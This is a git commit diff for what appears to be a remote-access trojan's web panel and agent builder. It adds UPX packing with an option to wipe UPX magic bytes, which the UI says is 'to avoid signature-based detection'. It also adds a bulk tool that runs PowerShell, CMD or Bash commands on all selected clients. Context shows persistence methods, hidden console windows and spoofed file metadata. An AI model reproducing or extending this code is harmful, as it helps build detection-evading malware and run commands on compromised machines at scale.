feat: UPX compression, mass command, Windows-only badges

This commit is contained in:
unknown
2026-03-16 14:42:18 +01:00
parent 7f82737fbc
commit 1c706b3419
8 changed files with 290 additions and 10 deletions
+4
View File
@@ -1,3 +1,7 @@
# Local notes (never push)
TODO-IMPROVEMENTS.md
upx-reference.txt
# Node/Bun # Node/Bun
node_modules/ node_modules/
bun.lockb bun.lockb
+14
View File
@@ -103,6 +103,18 @@ if (obfuscateCheckbox && garbleSettingsContainer) {
}); });
} }
const upxCheckbox = document.querySelector('input[name="enable-upx"]');
const upxSettingsContainer = document.getElementById("upx-settings-container");
if (upxCheckbox && upxSettingsContainer) {
upxCheckbox.addEventListener("change", () => {
if (upxCheckbox.checked) {
upxSettingsContainer.classList.remove("hidden");
} else {
upxSettingsContainer.classList.add("hidden");
}
});
}
let pendingIconBase64 = null; let pendingIconBase64 = null;
const iconUpload = document.getElementById("icon-upload"); const iconUpload = document.getElementById("icon-upload");
const iconLabel = document.getElementById("icon-label"); const iconLabel = document.getElementById("icon-label");
@@ -294,6 +306,8 @@ form?.addEventListener("submit", async (e) => {
assemblyVersion: assemblyVersion || undefined, assemblyVersion: assemblyVersion || undefined,
assemblyCopyright: assemblyCopyright || undefined, assemblyCopyright: assemblyCopyright || undefined,
iconBase64: pendingIconBase64 || undefined, iconBase64: pendingIconBase64 || undefined,
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
}; };
const hasAndroid = platforms.some(p => p.startsWith('android-')); const hasAndroid = platforms.some(p => p.startsWith('android-'));
+40
View File
@@ -586,6 +586,46 @@ bulkUninstallBtn?.addEventListener("click", async () => {
setTimeout(() => loadWithOptions({ force: true }), 1000); setTimeout(() => loadWithOptions({ force: true }), 1000);
}); });
const massCmdInput = document.getElementById("mass-cmd-input");
const massCmdType = document.getElementById("mass-cmd-type");
const massCmdRun = document.getElementById("mass-cmd-run");
massCmdRun?.addEventListener("click", async () => {
const cmd = massCmdInput?.value.trim();
if (!cmd) {
alert("Enter a command to execute.");
return;
}
const scriptType = massCmdType?.value || "powershell";
const count = selectedClients.size;
if (count === 0) return;
if (!confirm(`Execute on ${count} client(s)?\n\n[${scriptType}] ${cmd}`)) return;
massCmdRun.disabled = true;
massCmdRun.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Running...';
let success = 0;
for (const clientId of selectedClients) {
try {
const res = await fetch(`/api/clients/${clientId}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "script_exec", script: cmd, scriptType }),
});
if (res.ok) success++;
} catch {}
}
massCmdRun.disabled = false;
massCmdRun.innerHTML = '<i class="fa-solid fa-terminal"></i> Execute';
alert(`Command sent to ${success}/${count} clients`);
});
massCmdInput?.addEventListener("keydown", (e) => {
if (e.key === "Enter") {
e.preventDefault();
massCmdRun?.click();
}
});
window.toggleClientSelection = toggleClientSelection; window.toggleClientSelection = toggleClientSelection;
window.isClientSelected = (clientId) => selectedClients.has(clientId); window.isClientSelected = (clientId) => selectedClients.has(clientId);
window.syncClientSelection = syncSelectionState; window.syncClientSelection = syncSelectionState;
+38 -5
View File
@@ -375,7 +375,8 @@
<div class="flex flex-col"> <div class="flex flex-col">
<span class="flex items-center gap-2" <span class="flex items-center gap-2"
><i class="fa-solid fa-window-minimize text-emerald-400"></i> ><i class="fa-solid fa-window-minimize text-emerald-400"></i>
Hide Console Window (Windows)</span Hide Console Window
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows</span></span
> >
<span class="text-xs text-slate-500" <span class="text-xs text-slate-500"
>Builds Windows EXEs as GUI apps (no console)</span >Builds Windows EXEs as GUI apps (no console)</span
@@ -401,6 +402,37 @@
> >
</div> </div>
</label> </label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors"
title="Compress binaries with UPX to reduce file size"
>
<input
type="checkbox"
name="enable-upx"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-compress text-cyan-400"></i>
UPX Compression</span
>
<span class="text-xs text-slate-500"
>Compress binaries with UPX (requires UPX installed on server)</span
>
</div>
</label>
<div
id="upx-settings-container"
class="hidden pl-3 border-l-2 border-cyan-500/40"
>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
<div class="flex flex-col">
<span>Strip UPX Headers</span>
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
</div>
</label>
</div>
</div> </div>
</div> </div>
@@ -435,9 +467,9 @@
<!-- Windows Assembly / PE Metadata --> <!-- Windows Assembly / PE Metadata -->
<div> <div>
<label class="block text-sm font-medium text-slate-300 mb-2"> <label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data <i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
<span class="text-xs text-slate-500 font-normal ml-1">(optional, Windows only)</span> <span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
</label> </label>
<div class="flex flex-col gap-2"> <div class="flex flex-col gap-2">
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description" <input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
@@ -455,9 +487,10 @@
<!-- Icon Upload --> <!-- Icon Upload -->
<div> <div>
<label class="block text-sm font-medium text-slate-300 mb-2"> <label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon <i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
<span class="text-xs text-slate-500 font-normal ml-1">(optional, Windows .ico, max 1MB)</span> <span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
<span class="text-xs text-slate-500 font-normal">.ico, max 1MB</span>
</label> </label>
<div class="flex items-center gap-3"> <div class="flex items-center gap-3">
<label class="flex items-center gap-2 px-4 py-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-yellow-500 transition-colors text-sm"> <label class="flex items-center gap-2 px-4 py-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-yellow-500 transition-colors text-sm">
+24 -2
View File
@@ -112,7 +112,7 @@
<!-- Bulk Actions Toolbar --> <!-- Bulk Actions Toolbar -->
<div <div
id="bulk-toolbar" id="bulk-toolbar"
class="hidden bg-indigo-900/40 border border-indigo-700/60 rounded-lg p-3 flex items-center justify-between gap-3" class="hidden bg-indigo-900/40 border border-indigo-700/60 rounded-lg p-3 flex flex-wrap items-center justify-between gap-3"
> >
<div class="flex items-center gap-2"> <div class="flex items-center gap-2">
<i class="fa-solid fa-check-double text-indigo-300"></i> <i class="fa-solid fa-check-double text-indigo-300"></i>
@@ -120,7 +120,7 @@
><span id="selected-count">0</span> selected</span ><span id="selected-count">0</span> selected</span
> >
</div> </div>
<div class="flex items-center gap-2"> <div class="flex items-center gap-2 flex-wrap">
<button <button
id="bulk-screenshot" id="bulk-screenshot"
class="px-3 py-2 rounded-lg bg-indigo-800/60 hover:bg-indigo-700 text-indigo-100 border border-indigo-600 transition-colors" class="px-3 py-2 rounded-lg bg-indigo-800/60 hover:bg-indigo-700 text-indigo-100 border border-indigo-600 transition-colors"
@@ -146,6 +146,28 @@
Clear Clear
</button> </button>
</div> </div>
<div class="flex items-center gap-2 w-full mt-2">
<select
id="mass-cmd-type"
class="px-2 py-2 rounded-lg bg-slate-800/80 border border-slate-600 text-slate-200 text-sm"
>
<option value="powershell">PowerShell</option>
<option value="cmd">CMD</option>
<option value="bash">Bash</option>
</select>
<input
id="mass-cmd-input"
type="text"
placeholder="Run command on selected clients..."
class="flex-1 px-3 py-2 bg-slate-900/70 border border-slate-600 rounded-lg text-slate-100 placeholder:text-slate-500 text-sm focus:outline-none focus:border-amber-500"
/>
<button
id="mass-cmd-run"
class="px-3 py-2 rounded-lg bg-amber-700/70 hover:bg-amber-600 text-amber-100 border border-amber-600 transition-colors text-sm whitespace-nowrap"
>
<i class="fa-solid fa-terminal"></i> Execute
</button>
</div>
</div> </div>
<div id="grid" class="flex flex-col gap-3"></div> <div id="grid" class="flex flex-col gap-3"></div>
<div class="flex items-center justify-center gap-3 py-4"> <div class="flex items-center justify-center gap-3 py-4">
+2
View File
@@ -32,4 +32,6 @@ export type BuildConfig = {
assemblyVersion?: string; assemblyVersion?: string;
assemblyCopyright?: string; assemblyCopyright?: string;
iconBase64?: string; iconBase64?: string;
enableUpx?: boolean;
upxStripHeaders?: boolean;
}; };
+164 -3
View File
@@ -76,8 +76,134 @@ type BuildProcessConfig = {
assemblyVersion?: string; assemblyVersion?: string;
assemblyCopyright?: string; assemblyCopyright?: string;
iconBase64?: string; iconBase64?: string;
enableUpx?: boolean;
upxStripHeaders?: boolean;
}; };
async function ensureUpxAvailable(sendToStream: (data: any) => void): Promise<string | null> {
try {
const check = await $`upx --version`.quiet().nothrow();
if (check.exitCode === 0) {
const ver = check.stdout.toString().split("\n")[0]?.trim() || "upx";
sendToStream({ type: "output", text: `UPX found: ${ver}\n`, level: "info" });
return "upx";
}
} catch {}
sendToStream({ type: "output", text: "UPX not found, attempting auto-install...\n", level: "info" });
const isWindows = process.platform === "win32";
if (!isWindows) {
try {
const apt = await $`apt-get install -y upx-ucl 2>&1`.nothrow().quiet();
if (apt.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via apt-get\n", level: "info" });
return "upx";
}
} catch {}
try {
const apt2 = await $`apt-get install -y upx 2>&1`.nothrow().quiet();
if (apt2.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via apt-get\n", level: "info" });
return "upx";
}
} catch {}
try {
const yum = await $`yum install -y upx 2>&1`.nothrow().quiet();
if (yum.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via yum\n", level: "info" });
return "upx";
}
} catch {}
}
if (isWindows) {
try {
const winget = await $`winget install --id upx.upx -e --accept-source-agreements --accept-package-agreements 2>&1`.nothrow().quiet();
if (winget.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via winget\n", level: "info" });
return "upx";
}
} catch {}
try {
const choco = await $`choco install upx -y 2>&1`.nothrow().quiet();
if (choco.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via chocolatey\n", level: "info" });
return "upx";
}
} catch {}
}
const arch = process.arch === "x64" ? "amd64" : process.arch === "arm64" ? "arm64" : "amd64";
const plat = isWindows ? "win64" : "amd64_linux";
const upxVersion = "4.2.4";
const archiveName = `upx-${upxVersion}-${plat}`;
const ext = isWindows ? "zip" : "tar.xz";
const url = `https://github.com/upx/upx/releases/download/v${upxVersion}/${archiveName}.${ext}`;
const tmpDir = path.join(ensureDataDir(), "upx-install");
fs.mkdirSync(tmpDir, { recursive: true });
const archivePath = path.join(tmpDir, `upx.${ext}`);
try {
sendToStream({ type: "output", text: `Downloading UPX from ${url}...\n`, level: "info" });
const dlResult = await $`curl -fsSL -o ${archivePath} ${url}`.nothrow().quiet();
if (dlResult.exitCode !== 0) {
sendToStream({ type: "output", text: "WARNING: Failed to download UPX. Skipping compression.\n", level: "warn" });
return null;
}
if (isWindows) {
await $`tar -xf ${archivePath} -C ${tmpDir}`.nothrow().quiet();
} else {
await $`tar -xJf ${archivePath} -C ${tmpDir}`.nothrow().quiet();
}
const upxBinName = isWindows ? "upx.exe" : "upx";
const extractedDir = path.join(tmpDir, archiveName);
const upxBin = path.join(extractedDir, upxBinName);
if (fs.existsSync(upxBin)) {
if (!isWindows) {
await $`chmod +x ${upxBin}`.nothrow().quiet();
}
sendToStream({ type: "output", text: `UPX downloaded to ${upxBin}\n`, level: "info" });
return upxBin;
}
sendToStream({ type: "output", text: "WARNING: UPX binary not found after extraction. Skipping compression.\n", level: "warn" });
return null;
} catch (err: any) {
sendToStream({ type: "output", text: `WARNING: UPX auto-install failed: ${err.message || err}. Skipping compression.\n`, level: "warn" });
return null;
}
}
function stripUpxHeaders(filePath: string): boolean {
try {
const buf = Buffer.from(fs.readFileSync(filePath));
const UPX_MAGIC = Buffer.from("UPX!");
let modified = false;
let offset = 0;
while (offset < buf.length - 3) {
const idx = buf.indexOf(UPX_MAGIC, offset);
if (idx === -1) break;
buf[idx] = 0x00;
buf[idx + 1] = 0x00;
buf[idx + 2] = 0x00;
buf[idx + 3] = 0x00;
modified = true;
offset = idx + 4;
}
if (modified) {
fs.writeFileSync(filePath, buf);
}
return modified;
} catch {
return false;
}
}
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']); const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
type BuildProcessDeps = { type BuildProcessDeps = {
@@ -244,6 +370,14 @@ export async function startBuildProcess(
sendToStream({ type: "output", text: `Custom output name: ${config.outputName}\n`, level: "info" }); sendToStream({ type: "output", text: `Custom output name: ${config.outputName}\n`, level: "info" });
} }
let upxBin: string | null = null;
if (config.enableUpx) {
upxBin = await ensureUpxAvailable(sendToStream);
if (!upxBin) {
sendToStream({ type: "output", text: "WARNING: UPX could not be installed. Compression will be skipped.\n", level: "warn" });
}
}
const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64); const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64);
const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-")); const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-"));
@@ -530,15 +664,42 @@ export async function startBuildProcess(
} }
const filePath = `${outDir}/${outputName}`; const filePath = `${outDir}/${outputName}`;
const file = Bun.file(filePath); let finalSize = Bun.file(filePath).size;
const size = file.size;
if (upxBin) {
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
const originalSize = finalSize;
try {
const upxResult = await $`${upxBin} --best ${filePath}`.nothrow().quiet();
if (upxResult.exitCode !== 0) {
const stderr = upxResult.stderr.toString().trim();
sendToStream({ type: "output", text: `WARNING: UPX compression failed (exit ${upxResult.exitCode}): ${stderr}\n`, level: "warn" });
} else {
finalSize = Bun.file(filePath).size;
const ratio = ((1 - finalSize / originalSize) * 100).toFixed(1);
sendToStream({ type: "output", text: `UPX compressed: ${originalSize} → ${finalSize} bytes (${ratio}% reduction)\n`, level: "info" });
if (config.upxStripHeaders) {
const stripped = stripUpxHeaders(filePath);
if (stripped) {
finalSize = Bun.file(filePath).size;
sendToStream({ type: "output", text: `UPX headers stripped (signature removed)\n`, level: "info" });
} else {
sendToStream({ type: "output", text: `WARNING: No UPX signatures found to strip\n`, level: "warn" });
}
}
}
} catch (upxErr: any) {
sendToStream({ type: "output", text: `WARNING: UPX failed: ${upxErr.message || upxErr}\n`, level: "warn" });
}
}
(build.files as any[]).push({ (build.files as any[]).push({
name: outputName, name: outputName,
filename: outputName, filename: outputName,
platform, platform,
version: agentVersion, version: agentVersion,
size, size: finalSize,
}); });
} catch (err: any) { } catch (err: any) {
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`; const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;
@@ -62,6 +62,8 @@ export async function handleBuildRoutes(
assemblyVersion, assemblyVersion,
assemblyCopyright, assemblyCopyright,
iconBase64, iconBase64,
enableUpx,
upxStripHeaders,
} = body; } = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) { if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -168,6 +170,8 @@ export async function handleBuildRoutes(
assemblyVersion: safeAssemblyVersion, assemblyVersion: safeAssemblyVersion,
assemblyCopyright: safeStr(assemblyCopyright), assemblyCopyright: safeStr(assemblyCopyright),
iconBase64: safeIconBase64, iconBase64: safeIconBase64,
enableUpx: !!enableUpx,
upxStripHeaders: !!upxStripHeaders,
}); });
return Response.json({ buildId }); return Response.json({ buildId });